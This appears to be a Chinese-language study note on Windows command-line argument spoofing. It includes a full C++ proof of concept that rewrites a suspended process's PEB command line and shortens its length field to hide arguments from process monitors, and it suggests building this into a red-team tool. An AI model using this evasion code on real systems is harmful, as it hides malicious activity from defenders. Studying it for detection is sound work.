看 youtube 视频介绍,此攻击原本是为了对抗 EDR 检测或延迟 AV 查杀的手段
原理很简单,通过设置CREATE_SUSPENDED挂起进程启动,再通过PEB修改ProcessParameters中实际将要执行的命令字符串,最后ResumeThread恢复进程 → 暗度陈仓
在实现时,延伸出来两个小问题(技巧)
- 如何获取 PEB 并更新
- 绕过 PEB 副本检测
CreateProcess
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
在CreateProcessA函数中我们关注到lpCommandLine和dwCreationFlags
- lpCommandLine:要执行的命令行 -> 明面上要执行的命令行
- dwCreationFlags:流程创建标志
在流程创建标志
中多个标记使用|(或)运算
叠加,有以下几个常数值需要关注
常数/值 | 描述 |
---|---|
CREATE_NEW_CONSOLE 0x00000010 |
新进程具有一个新的控制台,而不是继承其父级的控制台(默认)。有关更多信息,请参见创建控制台。 该标志不能与DETACHED_PROCESS一起使用。 |
CREATE_NO_WINDOW 0x08000000 |
该过程是一个没有控制台窗口即可运行的控制台应用程序。因此,未设置应用程序的控制台句柄。 如果该应用程序不是控制台应用程序,或者与CREATE_NEW_CONSOLE或DETACHED_PROCESS一起使用,则将忽略此标志。 |
CREATE_SUSPENDED 0x00000004 |
新进程的主线程在挂起状态下创建,并且直到调用ResumeThread函数才运行。 |
以下试图创建一个进程并挂起,我们接下来将修改此进程
STARTUPINFOA si;
PROCESS_INFORMATION pi;
CreateProcessA(
NULL,
"cmd.exe",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
"C:\\Windows\\System32\\",
&si,
&pi);
PEB
首先看在 PEB 结构,我们主要关注 ProcessParameters
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;
PRTL_USER_PROCESS_PARAMETERS 结构体
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
UNICODE_STRING 类型结构体
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
在上面通过创建并挂起进程后,接下来我们将通过NtQueryInformationProcess来获取 PEB 地址,这个函数未公开所以需要GetProcAddress从 DLL 中检索出函数地址
typedef NTSTATUS (*NtQueryInformationProcess)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
NtQueryInformationProcess ntip = (NtQueryInformationProcess)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
ntpi(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&retLen
);
通过 PEB 标记的地址,使用ReadProcessMemory
读取目标进程的 PEB 信息
PEB pebLocal;
BOOL success;
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
进一步获取ProcessParameters结构体信息
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
SIZE_T bytesRead;
char* alloc;
alloc = (char*)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
RTL_USER_PROCESS_PARAMETERS* parameters;
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS)
);
接下来便是修改ProcessParameters中的CommandLine,其对应类型为UNICODE_STRING
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
return false;
}
return true;
}
success = writeProcessMemory(
pi.hProcess,
parameters->CommandLine.Buffer,
(void*)L"cmd.exe /k dir\0",
30);
绕过PEB副本检测
作者提到类似ProcessExplorer工具会检索PEB副本,导致隐藏参数失败,注意到_RTL_USER_PROCESS_PARAMETERS中的CommandLine参数为_UNICODE_STRING类型
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
当设置Length < sizeof(Buffer)
时,对于ProcessHacker和ProcessExplorer,都会终止显示Length字节后面的字符串,但同时并不影响进程的运行
ProcessExplorer | ProcessMonitor |
---|---|
长度限制 | 命令隐藏 |
Poc
#include <iostream>
#include <windows.h>
#include <winternl.h>
#define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"
#define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0"
typedef NTSTATUS(*NtQueryInformationProcess2)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
SIZE_T bytesRead;
char* alloc;
alloc = (char*)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
return false;
}
return true;
}
int main(int argc, char** canttrustthis)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
CONTEXT context;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS* parameters;
printf("Argument Spoofing Example by @_xpn_\n\n");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
// Start process suspended
success = CreateProcessA(
NULL,
(LPSTR)CMD_TO_SHOW,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
"C:\\Windows\\System32\\",
&si,
&pi);
if (success == FALSE) {
printf("[!] Error: Could not call CreateProcess\n");
return 1;
}
// Retrieve information on PEB location in process
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&retLen
);
// Read the PEB from the target process
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
if (success == FALSE) {
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
return 1;
}
// Grab the ProcessParameters from PEB
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
);
// Set the actual arguments we are looking to use
WCHAR spoofed[] = CMD_TO_EXEC;
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
return 1;
}
/////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////
// Update the CommandLine length (Remember, UNICODE length here)
DWORD newUnicodeLen = 28;
success = writeProcessMemory(
pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,
4
);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
return 1;
}
// Resume thread execution*/
ResumeThread(pi.hThread);
}
思考
同这篇文章一起的还有父进程ID欺骗,这两个手段结合一起生成一个易用 exe 应该是很有效的红队手段,比如随机生成伪装命令、自动伪装,这样在来不及清理历史记录的情况下也能延缓蓝队的步伐…
但是奈何不会 c++,先留个坑